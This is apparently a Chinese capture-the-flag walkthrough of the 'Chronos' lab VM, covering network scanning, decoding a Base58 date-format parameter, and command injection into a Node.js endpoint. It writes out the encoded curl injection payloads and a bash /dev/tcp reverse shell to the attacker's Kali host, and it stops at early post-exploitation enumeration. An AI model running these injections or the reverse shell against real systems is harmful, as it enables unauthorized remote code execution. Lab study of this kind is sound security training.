靶机: Chronos

靶机: Chronos

准备

完成上面内容后,需要对 kali 与 target 做 快照记录 当前环境和布置,以免实验过程中出现错误造成不可挽回的损失

打靶流程

发现目标

进行扫描,推荐工具:

  • netdiscover
  • arp-scan
  • nmap

发现主机,我们可以使用 arp-scan 进行,主要使用参数

  • -l :从网络接口配置生成地址,使用网络接口IP地址和网络掩码
    以生成目标主机地址的列表,该列表将包括网络和广播
  • -I :指定网络接口
┌──(kali㉿kali)-[~]
└─$ sudo arp-scan -l -I eth1
[sudo] kali 的密码:
Interface: eth1, type: EN10MB, MAC: 08:00:27:ad:7a:24, IPv4: 192.168.56.111
Starting arp-scan 1.9.8 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.56.1    0a:00:27:00:00:0d       (Unknown: locally administered)
192.168.56.100  08:00:27:30:29:a9       PCS Systemtechnik GmbH
192.168.56.113  08:00:27:b5:62:62       PCS Systemtechnik GmbH

3 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.9.8: 256 hosts scanned in 2.151 seconds (119.01 hosts/sec). 3 responded

确定存活主机后,通过 nmap 进一步扫描,我们可以确定目标靶机是 192.168.56.113 后,我们需要进一步确定其开放端口

┌──(kali㉿kali)-[~]
└─$ nmap -sV 192.168.56.113
Starting Nmap 7.93 ( https://nmap.org ) at 2022-10-25 17:57 CST
Nmap scan report for 192.168.56.113
Host is up (0.0011s latency).
Not shown: 997 closed tcp ports (conn-refused)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    Apache httpd 2.4.29 ((Ubuntu))
8000/tcp open  http    Node.js Express framework
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.12 seconds
  • 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
  • 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
  • 8000/tcp open http Node.js Express framework

尝试攻击

我们可以先尝试访问 http://192.168.56.113:80 端口,查看源码

<!DOCTYPE html>
<meta charset="UTF-8">
<html>

<head>

  <link rel="stylesheet" href="css/style.css">
</head>

<body onload="loadDoc()">

  <div id="wrapper">
    <div class="future-cop">
      <h3 class="future">Chronos - Date & Time</h3>
      <h1 class="cop">
        <p id="date"></p>
      </h1>
    </div>
  </div>
  <script>
    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
  </script>
</body>
  • 通过源码我们可以发现其中存在动态交互的代码 <body onload="loadDoc()">

    • Body onload 事件是在页面载入完成后立即触发 ,其语法是 onload="JavaScriptCode"
    • 说明页面加载完成后触发了 JavaScript 代码 loadDoc()
  • 根据上面线索,我们发现上面页面加载后触发 JavaScript 代码,而页面源码尾部存在的 <script> 标签内容,明显是加密的 JavaScript 代码

var _0x5bdf = [
	'150447srWefj',
	'70lwLrol',
	'1658165LmcNig',
	'open',
	'1260881JUqdKM',
	'10737CrnEEe',
	'2SjTdWC',
	'readyState',
	'responseText',
	'1278676qXleJg',
	'797116soVTES',
	'onreadystatechange',
	'http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL',
	'User-Agent',
	'status',
	'1DYOODT',
	'400909Mbbcfr',
	'Chronos',
	'2QRBPWS',
	'getElementById',
	'innerHTML',
	'date'
];
(function (_0x506b95, _0x817e36) {
	var _0x244260 = _0x432d;
	while (!![]) {
		try {
			var _0x35824b = -parseInt(_0x244260(126)) * parseInt(_0x244260(144)) + parseInt(_0x244260(142)) + parseInt(_0x244260(127)) * parseInt(_0x244260(131)) + -parseInt(_0x244260(135)) + -parseInt(_0x244260(130)) * parseInt(_0x244260(141)) + -parseInt(_0x244260(136)) + parseInt(_0x244260(128)) * parseInt(_0x244260(132));
			if (_0x35824b === _0x817e36)
				break;
			else
				_0x506b95['push'](_0x506b95['shift']());
		} catch (_0x3fb1dc) {
			_0x506b95['push'](_0x506b95['shift']());
		}
	}
}(_0x5bdf, 831262));
function _0x432d(_0x16bd66, _0x33ffa9) {
	return _0x432d = function (_0x5bdf82, _0x432dc8) {
		_0x5bdf82 = _0x5bdf82 - 126;
		var _0x4da6e8 = _0x5bdf[_0x5bdf82];
		return _0x4da6e8;
	}, _0x432d(_0x16bd66, _0x33ffa9);
}
function loadDoc() {
	var _0x17df92 = _0x432d, _0x1cff55 = _0x17df92(143), _0x2beb35 = new XMLHttpRequest();
	_0x2beb35[_0x17df92(137)] = function () {
		var _0x146f5d = _0x17df92;
		this[_0x146f5d(133)] == 4 && this[_0x146f5d(140)] == 200 && (document[_0x146f5d(145)](_0x146f5d(147))[_0x146f5d(146)] = this[_0x146f5d(134)]);
	}, _0x2beb35[_0x17df92(129)]('GET', _0x17df92(138), !![]), _0x2beb35['setRequestHeader'](_0x17df92(139), _0x1cff55), _0x2beb35['send']();
}
  • 其中的加密只是对变量及函数的名称修改,其数据本身没有变化
  • 通过简单的阅读我们可以发现,它会向 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 间存在交互
  • 我们可以猜测 chronos.local 域名可能对应的就是靶机

在浏览器的 Web 开发者工具 中的控制台,同样有报错

已拦截跨源请求:同源策略禁止读取位于 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的远程资源。(原因:CORS 请求未能成功)。状态码:(null)。
  • 报错是 http://192.168.56.113:80http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的远程资源请求
  • 报错原因是 chronos.local 无法解析

我们可以在本地 /etc/hosts 写入 IP 192.168.56.113 与域名 chronos.local 对应关系,再次访问 http://192.168.56.113:80 查看源码

<html><head><meta charset="UTF-8">




  <link rel="stylesheet" href="css/style.css">
</head>

<body onload="loadDoc()">

  <div id="wrapper">
    <div class="future-cop">
      <h3 class="future">Chronos - Date &amp; Time</h3>
      <h1 class="cop">
        <p id="date">Today is Tuesday, October 25, 2022 11:39:07.
</p>
      </h1>
    </div>
  </div>
  <script>
    var _0x5bdf=['150447srWefj','70lwLrol','1658165LmcNig','open','1260881JUqdKM','10737CrnEEe','2SjTdWC','readyState','responseText','1278676qXleJg','797116soVTES','onreadystatechange','http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL','User-Agent','status','1DYOODT','400909Mbbcfr','Chronos','2QRBPWS','getElementById','innerHTML','date'];(function(_0x506b95,_0x817e36){var _0x244260=_0x432d;while(!![]){try{var _0x35824b=-parseInt(_0x244260(0x7e))*parseInt(_0x244260(0x90))+parseInt(_0x244260(0x8e))+parseInt(_0x244260(0x7f))*parseInt(_0x244260(0x83))+-parseInt(_0x244260(0x87))+-parseInt(_0x244260(0x82))*parseInt(_0x244260(0x8d))+-parseInt(_0x244260(0x88))+parseInt(_0x244260(0x80))*parseInt(_0x244260(0x84));if(_0x35824b===_0x817e36)break;else _0x506b95['push'](_0x506b95['shift']());}catch(_0x3fb1dc){_0x506b95['push'](_0x506b95['shift']());}}}(_0x5bdf,0xcaf1e));function _0x432d(_0x16bd66,_0x33ffa9){return _0x432d=function(_0x5bdf82,_0x432dc8){_0x5bdf82=_0x5bdf82-0x7e;var _0x4da6e8=_0x5bdf[_0x5bdf82];return _0x4da6e8;},_0x432d(_0x16bd66,_0x33ffa9);}function loadDoc(){var _0x17df92=_0x432d,_0x1cff55=_0x17df92(0x8f),_0x2beb35=new XMLHttpRequest();_0x2beb35[_0x17df92(0x89)]=function(){var _0x146f5d=_0x17df92;this[_0x146f5d(0x85)]==0x4&&this[_0x146f5d(0x8c)]==0xc8&&(document[_0x146f5d(0x91)](_0x146f5d(0x93))[_0x146f5d(0x92)]=this[_0x146f5d(0x86)]);},_0x2beb35[_0x17df92(0x81)]('GET',_0x17df92(0x8a),!![]),_0x2beb35['setRequestHeader'](_0x17df92(0x8b),_0x1cff55),_0x2beb35['send']();}
  </script>

</body></html>
  • 发现 <p id="date"></p> 标签增加了一些文本内容 Today is Tuesday, October 25, 2022 11:39:07.
  • 并且文本内容中的时间是动态的,而 js 的动态代码需要访问 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的远程资源才能实现

我们需要了解整个通信过程中发生了什么,建议通过浏览器的 Web 开发者工具进行网络拦截,下面两条对 http://chronos.local:8000/date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 的请求及响应

  • OPTIONS

    OPTIONS /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
    Host: chronos.local:8000
    User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Access-Control-Request-Method: GET
    Access-Control-Request-Headers: user-agent
    Referer: http://192.168.56.113/
    Origin: http://192.168.56.113
    Connection: keep-alive
    
    HTTP/1.1 204 No Content
    X-Powered-By: Express
    Access-Control-Allow-Origin: *
    Access-Control-Allow-Methods: GET,HEAD,PUT,PATCH,POST,DELETE
    Vary: Access-Control-Request-Headers
    Access-Control-Allow-Headers: user-agent
    Content-Length: 0
    Date: Tue, 25 Oct 2022 11:49:54 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
  • GET

    GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1
    Host: chronos.local:8000
    User-Agent: Chronos
    Accept: */*
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Origin: http://192.168.56.113
    Connection: keep-alive
    Referer: http://192.168.56.113/
    If-None-Match: W/"2d-PsZR2bm/Ri6PVcgGA5J3M+spbnU"
    
    HTTP/1.1 200 OK
    X-Powered-By: Express
    Access-Control-Allow-Origin: *
    Content-Type: text/html; charset=utf-8
    Content-Length: 45
    ETag: W/"2d-e8tKXQN2562kykTMB0KQtpk5bMI"
    Date: Tue, 25 Oct 2022 11:49:54 GMT
    Connection: keep-alive
    Keep-Alive: timeout=5
    
    Today is Tuesday, October 25, 2022 11:49:54.
    

通过上面两个请求,我们已经可以明确,时间的动态实现是通过服务端计算完成的,那么 GET 请求的数据又是什么 GET /date?format=4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL HTTP/1.1

  • format 是格式化修改的命名,当然我们应该先解密一下请求内容 4ugYDuAkScCG5gMcZjEN3mALyG1dD5ZYsiCfWvQ2w9anYGyL 推荐一个线上解密网站:https://gchq.github.io/CyberChef/
  • 大致推断是 Base58 加密,结果为 '+Today is %A, %B %d, %Y %H:%M:%S.'
  • 说明动态请求是时间格式

我们尝试一下通过,语句拼接注入是否与 shell 相关,使用 curl 发送 GET 请求的注入命令 || ls

# 先使用 Base58 加密注入命令 || ls 结果为 yZSGA
curl  \
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=yZSGA" 
  • 参数 -H 指定的是之前我们使用浏览器 Web 开发者工具获取的 GET 请求头;此处参数应该根据你自己捕捉的 GET 请求头中的内容,当然不用全部选项
  • 参数 --include 查看响应头

使用效果如下

┌──(kali㉿kali)-[~]
└─$ curl  \  
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=yZSGA" 
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 80
ETag: W/"50-Xyj2XbGXPX1jv8HLpPgUE3VeS9I"
Date: Tue, 25 Oct 2022 13:52:15 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Tue Oct 25 13:52:15 UTC 2022
app.js
node_modules
package.json
package-lock.json
                                                                                                                             
┌──(kali㉿kali)-[~]
└─$ 
  • 其中的响应体内容很值得我们注意

    Tue Oct 25 13:52:15 UTC 2022
    app.js
    node_modules
    package.json
    package-lock.json
    
  • 说明此处雀实存在注入漏洞,并且可执行

我们可以尝试,查找 wget , netcat , bash 等命令是否存在能有有执行权,我们都能通过它们实现 shell 反弹

诺曼底登陆

上面内容已经查明,存在注入漏洞,探测 /bin 有什么用于远程交互的程序

┌──(kali㉿kali)-[~]
└─$ curl  \
-H "User-Agent: Chronos" \
-H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
-H "Origin: http://192.168.56.113" \
-H "Connection: keep-alive" \
-H "Referer: http://192.168.56.113/" \
--include "http://chronos.local:8000/date?format=F2SaSe3T3SZy3G4RcHK" 
HTTP/1.1 200 OK
X-Powered-By: Express
Access-Control-Allow-Origin: *
Content-Type: text/html; charset=utf-8
Content-Length: 8698
ETag: W/"21fa-XtkiURgIt2CBvycigXakpI4x1dA"
Date: Tue, 25 Oct 2022 14:07:39 GMT
Connection: keep-alive
Keep-Alive: timeout=5

Tue Oct 25 14:07:39 UTC 2022
total 15M
-rwxr-xr-x 1 root root 1.1M Jun  6  2019 bash
-rwxr-xr-x 1 root root 700K Mar 12  2018 btrfs
lrwxrwxrwx 1 root root    5 Mar 12  2018 btrfsck -> btrfs
-rwxr-xr-x 1 root root 368K Mar 12  2018 btrfs-debug-tree
-rwxr-xr-x 1 root root 364K Mar 12  2018 btrfs-find-root
-rwxr-xr-x 1 root root 388K Mar 12  2018 btrfs-image
-rwxr-xr-x 1 root root 368K Mar 12  2018 btrfs-map-logical
-rwxr-xr-x 1 root root 364K Mar 12  2018 btrfs-select-super
-rwxr-xr-x 1 root root 368K Mar 12  2018 btrfstune
-rwxr-xr-x 1 root root 364K Mar 12  2018 btrfs-zero-log
-rwxr-xr-x 3 root root  35K Jul  4  2019 bunzip2
-rwxr-xr-x 1 root root 2.0M Sep 18  2020 busybox
-rwxr-xr-x 3 root root  35K Jul  4  2019 bzcat
lrwxrwxrwx 1 root root    6 Jul  4  2019 bzcmp -> bzdiff
-rwxr-xr-x 1 root root 2.1K Jul  4  2019 bzdiff
lrwxrwxrwx 1 root root    6 Jul  4  2019 bzegrep -> bzgrep
-rwxr-xr-x 1 root root 4.8K Jul  4  2019 bzexe
lrwxrwxrwx 1 root root    6 Jul  4  2019 bzfgrep -> bzgrep
-rwxr-xr-x 1 root root 3.6K Jul  4  2019 bzgrep
-rwxr-xr-x 3 root root  35K Jul  4  2019 bzip2
-rwxr-xr-x 1 root root  14K Jul  4  2019 bzip2recover
lrwxrwxrwx 1 root root    6 Jul  4  2019 bzless -> bzmore
-rwxr-xr-x 1 root root 1.3K Jul  4  2019 bzmore
-rwxr-xr-x 1 root root  35K Jan 18  2018 cat
-rwxr-xr-x 1 root root  14K Apr 21  2017 chacl
-rwxr-xr-x 1 root root  63K Jan 18  2018 chgrp
-rwxr-xr-x 1 root root  59K Jan 18  2018 chmod
-rwxr-xr-x 1 root root  67K Jan 18  2018 chown
-rwxr-xr-x 1 root root  11K Jan 22  2018 chvt
-rwxr-xr-x 1 root root 139K Jan 18  2018 cp
-rwxr-xr-x 1 root root 154K Nov  5  2019 cpio
-rwxr-xr-x 1 root root 119K Jan 25  2018 dash
-rwxr-xr-x 1 root root  99K Jan 18  2018 date
-rwxr-xr-x 1 root root  75K Jan 18  2018 dd
-rwxr-xr-x 1 root root  83K Jan 18  2018 df
-rwxr-xr-x 1 root root 131K Jan 18  2018 dir
-rwxr-xr-x 1 root root  71K Sep 16  2020 dmesg
lrwxrwxrwx 1 root root    8 Jan 31  2018 dnsdomainname -> hostname
lrwxrwxrwx 1 root root    8 Jan 31  2018 domainname -> hostname
-rwxr-xr-x 1 root root 167K Jan 22  2018 dumpkeys
-rwxr-xr-x 1 root root  35K Jan 18  2018 echo
-rwxr-xr-x 1 root root  51K Apr 26  2016 ed
-rwxr-xr-x 1 root root   28 Sep 18  2019 egrep
-rwxr-xr-x 1 root root  31K Jan 18  2018 false
-rwxr-xr-x 1 root root  11K Jan 22  2018 fgconsole
-rwxr-xr-x 1 root root   28 Sep 18  2019 fgrep
-rwxr-xr-x 1 root root  64K Sep 16  2020 findmnt
-rwxr-xr-x 1 root root 1.2K Mar 12  2018 fsck.btrfs
-rwxr-xr-x 1 root root  36K Dec 11  2018 fuser
-rwsr-xr-x 1 root root  31K Aug 11  2016 fusermount
-rwxr-xr-x 1 root root  23K Apr 21  2017 getfacl
-rwxr-xr-x 1 root root 215K Sep 18  2019 grep
-rwxr-xr-x 2 root root 2.3K Jun 24  2021 gunzip
-rwxr-xr-x 1 root root 5.8K Jun 24  2021 gzexe
-rwxr-xr-x 1 root root 100K Jun 24  2021 gzip
-rwxr-xr-x 1 root root  19K Jan 31  2018 hostname
-rwxr-xr-x 1 root root 546K Jan 26  2021 ip
-rwxr-xr-x 1 root root  63K Jul 21  2021 journalctl
-rwxr-xr-x 1 root root  11K Jan 22  2018 kbd_mode
-rwxr-xr-x 1 root root  27K Aug  9  2019 kill
-rwxr-xr-x 1 root root 147K Jul 28  2020 kmod
-rwxr-xr-x 1 root root 167K Dec  1  2017 less
-rwxr-xr-x 1 root root  11K Dec  1  2017 lessecho
lrwxrwxrwx 1 root root    8 Dec  1  2017 lessfile -> lesspipe
-rwxr-xr-x 1 root root  20K Dec  1  2017 lesskey
-rwxr-xr-x 1 root root 8.4K Dec  1  2017 lesspipe
-rwxr-xr-x 1 root root  67K Jan 18  2018 ln
-rwxr-xr-x 1 root root 207K Jan 22  2018 loadkeys
-rwxr-xr-x 1 root root  52K Mar 22  2019 login
-rwxr-xr-x 1 root root  51K Jul 21  2021 loginctl
-rwxr-xr-x 1 root root 107K Mar 21  2019 lowntfs-3g
-rwxr-xr-x 1 root root 131K Jan 18  2018 ls
-rwxr-xr-x 1 root root  83K Sep 16  2020 lsblk
lrwxrwxrwx 1 root root    4 Jul 28  2020 lsmod -> kmod
-rwxr-xr-x 1 root root  79K Jan 18  2018 mkdir
-rwxr-xr-x 1 root root 388K Mar 12  2018 mkfs.btrfs
-rwxr-xr-x 1 root root  67K Jan 18  2018 mknod
-rwxr-xr-x 1 root root  43K Jan 18  2018 mktemp
-rwxr-xr-x 1 root root  39K Sep 16  2020 more
-rwsr-xr-x 1 root root  43K Sep 16  2020 mount
-rwxr-xr-x 1 root root  15K Sep 16  2020 mountpoint
lrwxrwxrwx 1 root root   20 Jul 25  2018 mt -> /etc/alternatives/mt
-rwxr-xr-x 1 root root  79K Nov  5  2019 mt-gnu
-rwxr-xr-x 1 root root 135K Jan 18  2018 mv
-rwxr-xr-x 1 root root 241K Mar  6  2018 nano
lrwxrwxrwx 1 root root   20 Jul 25  2018 nc -> /etc/alternatives/nc
-rwxr-xr-x 1 root root  35K May 14  2018 nc.openbsd
lrwxrwxrwx 1 root root   24 Jul 25  2018 netcat -> /etc/alternatives/netcat
-rwxr-xr-x 1 root root 151K Jan 10  2017 netstat
-rwxr-xr-x 1 root root  43K Jul 21  2021 networkctl
lrwxrwxrwx 1 root root    8 Jan 31  2018 nisdomainname -> hostname
-rwxr-xr-x 1 root root 143K Mar 21  2019 ntfs-3g
-rwxr-xr-x 1 root root  11K Mar 21  2019 ntfs-3g.probe
-rwxr-xr-x 1 root root  27K Mar 21  2019 ntfscat
-rwxr-xr-x 1 root root  35K Mar 21  2019 ntfscluster
-rwxr-xr-x 1 root root  35K Mar 21  2019 ntfscmp
-rwxr-xr-x 1 root root  35K Mar 21  2019 ntfsfallocate
-rwxr-xr-x 1 root root  43K Mar 21  2019 ntfsfix
-rwxr-xr-x 1 root root  55K Mar 21  2019 ntfsinfo
-rwxr-xr-x 1 root root  32K Mar 21  2019 ntfsls
-rwxr-xr-x 1 root root  31K Mar 21  2019 ntfsmove
-rwxr-xr-x 1 root root 115K Mar 21  2019 ntfsrecover
-rwxr-xr-x 1 root root  87K Mar 21  2019 ntfssecaudit
-rwxr-xr-x 1 root root  39K Mar 21  2019 ntfstruncate
-rwxr-xr-x 1 root root  31K Mar 21  2019 ntfsusermap
-rwxr-xr-x 1 root root  47K Mar 21  2019 ntfswipe
lrwxrwxrwx 1 root root    6 Jan 22  2018 open -> openvt
-rwxr-xr-x 1 root root  19K Jan 22  2018 openvt
lrwxrwxrwx 1 root root   14 Nov  1  2017 pidof -> /sbin/killall5
-rwsr-xr-x 1 root root  63K Jun 28  2019 ping
lrwxrwxrwx 1 root root    4 Jun 28  2019 ping4 -> ping
lrwxrwxrwx 1 root root    4 Jun 28  2019 ping6 -> ping
-rwxr-xr-x 1 root root  38K Apr  4  2019 plymouth
-rwxr-xr-x 1 root root 131K Aug  9  2019 ps
-rwxr-xr-x 1 root root  35K Jan 18  2018 pwd
lrwxrwxrwx 1 root root    4 Jun  6  2019 rbash -> bash
-rwxr-xr-x 1 root root  43K Jan 18  2018 readlink
-rwxr-xr-x 1 root root   89 Apr 26  2016 red
-rwxr-xr-x 1 root root  63K Jan 18  2018 rm
-rwxr-xr-x 1 root root  43K Jan 18  2018 rmdir
lrwxrwxrwx 1 root root    4 Mar  6  2018 rnano -> nano
-rwxr-xr-x 1 root root  19K Dec 30  2017 run-parts
-rwxr-xr-x 1 root root 107K Jan 30  2018 sed
-rwxr-xr-x 1 root root  35K Apr 21  2017 setfacl
-rwxr-xr-x 1 root root  43K Jan 22  2018 setfont
-rwxr-xr-x 1 root root  39K Apr 23  2019 setupcon
lrwxrwxrwx 1 root root    4 Jul 25  2018 sh -> dash
lrwxrwxrwx 1 root root    4 Jan 25  2018 sh.distrib -> dash
-rwxr-xr-x 1 root root  35K Jan 18  2018 sleep
-rwxr-xr-x 1 root root 137K Jan 26  2021 ss
lrwxrwxrwx 1 root root    7 Sep 18  2020 static-sh -> busybox
-rwxr-xr-x 1 root root  75K Jan 18  2018 stty
-rwsr-xr-x 1 root root  44K Mar 22  2019 su
-rwxr-xr-x 1 root root  35K Jan 18  2018 sync
-rwxr-xr-x 1 root root 179K Jul 21  2021 systemctl
lrwxrwxrwx 1 root root   20 Jul 21  2021 systemd -> /lib/systemd/systemd
-rwxr-xr-x 1 root root  11K Jul 21  2021 systemd-ask-password
-rwxr-xr-x 1 root root  15K Jul 21  2021 systemd-escape
-rwxr-xr-x 1 root root  83K Jul 21  2021 systemd-hwdb
-rwxr-xr-x 1 root root  15K Jul 21  2021 systemd-inhibit
-rwxr-xr-x 1 root root  19K Jul 21  2021 systemd-machine-id-setup
-rwxr-xr-x 1 root root  15K Jul 21  2021 systemd-notify
-rwxr-xr-x 1 root root  43K Jul 21  2021 systemd-sysusers
-rwxr-xr-x 1 root root  71K Jul 21  2021 systemd-tmpfiles
-rwxr-xr-x 1 root root  27K Jul 21  2021 systemd-tty-ask-password-agent
-rwxr-xr-x 1 root root 414K Dec 16  2020 tar
-rwxr-xr-x 1 root root 9.9K Dec 30  2017 tempfile
-rwxr-xr-x 1 root root  87K Jan 18  2018 touch
-rwxr-xr-x 1 root root  31K Jan 18  2018 true
-rwxr-xr-x 1 root root 571K Jul 21  2021 udevadm
-rwxr-xr-x 1 root root  14K Aug 11  2016 ulockmgr_server
-rwsr-xr-x 1 root root  27K Sep 16  2020 umount
-rwxr-xr-x 1 root root  35K Jan 18  2018 uname
-rwxr-xr-x 2 root root 2.3K Jun 24  2021 uncompress
-rwxr-xr-x 1 root root 2.7K Jan 22  2018 unicode_start
-rwxr-xr-x 1 root root 131K Jan 18  2018 vdir
-rwxr-xr-x 1 root root  31K Sep 16  2020 wdctl
-rwxr-xr-x 1 root root  946 Dec 30  2017 which
-rwxr-xr-x 1 root root  27K Jan 12  2018 whiptail
lrwxrwxrwx 1 root root    8 Jan 31  2018 ypdomainname -> hostname
-rwxr-xr-x 1 root root 1.9K Jun 24  2021 zcat
-rwxr-xr-x 1 root root 1.8K Jun 24  2021 zcmp
-rwxr-xr-x 1 root root 5.7K Jun 24  2021 zdiff
-rwxr-xr-x 1 root root  140 Jun 24  2021 zegrep
-rwxr-xr-x 1 root root  140 Jun 24  2021 zfgrep
-rwxr-xr-x 1 root root 2.1K Jun 24  2021 zforce
-rwxr-xr-x 1 root root 5.8K Jun 24  2021 zgrep
-rwxr-xr-x 1 root root 2.0K Jun 24  2021 zless
-rwxr-xr-x 1 root root 1.9K Jun 24  2021 zmore
-rwxr-xr-x 1 root root 5.0K Jun 24  2021 znew
  • 明显可以反弹 bash
  • 利用 netcat 完成

建立连接分三步

  • 建一个 a.sh 文件 && touch a.sh --> 4BJ88cmrr8TWSEti5M

    curl  \
    -H "User-Agent: Chronos" \
    -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
    -H "Origin: http://192.168.56.113" \
    -H "Connection: keep-alive" \
    -H "Referer: http://192.168.56.113/" \
    --include "http://chronos.local:8000/date?format=4BJ88cmrr8TWSEti5M" 
    
  • 将反弹 shell 命令 bash -i >& /dev/tcp/Kali IP/监听端口 0>&1 发送 && echo 'bash -i >& /dev/tcp/192.168.56.111/4444 0>&1' > ./a.sh --> B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs

    curl  \
    -H "User-Agent: Chronos" \
    -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
    -H "Origin: http://192.168.56.113" \
    -H "Connection: keep-alive" \
    -H "Referer: http://192.168.56.113/" \
    --include "http://chronos.local:8000/date?format=B2K4FCAU1SDpFs1S5Lz6BZeyhpypkmQyyYfeZ3717VL7rKXQ59JFUhUZoEALMGnrfQBXSG3afUySYp9wmysnWs" 
    
  • 在 Kali 上设置端口监听,使用 netcat 设置 netcat -lvp 4444 端口以上一步你反弹 shell 的木马为准,然后调用 a.sh 脚本使用命令 && bash ./a.sh --> F2SaQ9Dykw37PPsvZhq

    curl  \
    -H "User-Agent: Chronos" \
    -H "Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2" \
    -H "Origin: http://192.168.56.113" \
    -H "Connection: keep-alive" \
    -H "Referer: http://192.168.56.113/" \
    --include "http://chronos.local:8000/date?format=F2SaQ9Dykw37PPsvZhq" 
    

最终效果

┌──(kali㉿kali)-[~]
└─$ netcat -lvp 4444                                                                                                     1 ⨯
listening on [any] 4444 ...
connect to [192.168.56.111] from chronos.local [192.168.56.113] 53012
bash: cannot set terminal process group (734): Inappropriate ioctl for device
bash: no job control in this shell
www-data@chronos:/opt/chronos$ ls
ls
app.js
a.sh
node_modules
package.json
package-lock.json
  • 使用 ls 查看,我们已经成功登录目标

探索目标

开始简单的信息收集

www-data@chronos:/home/imera$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@chronos:/home/imera$ uname -a
uname -a
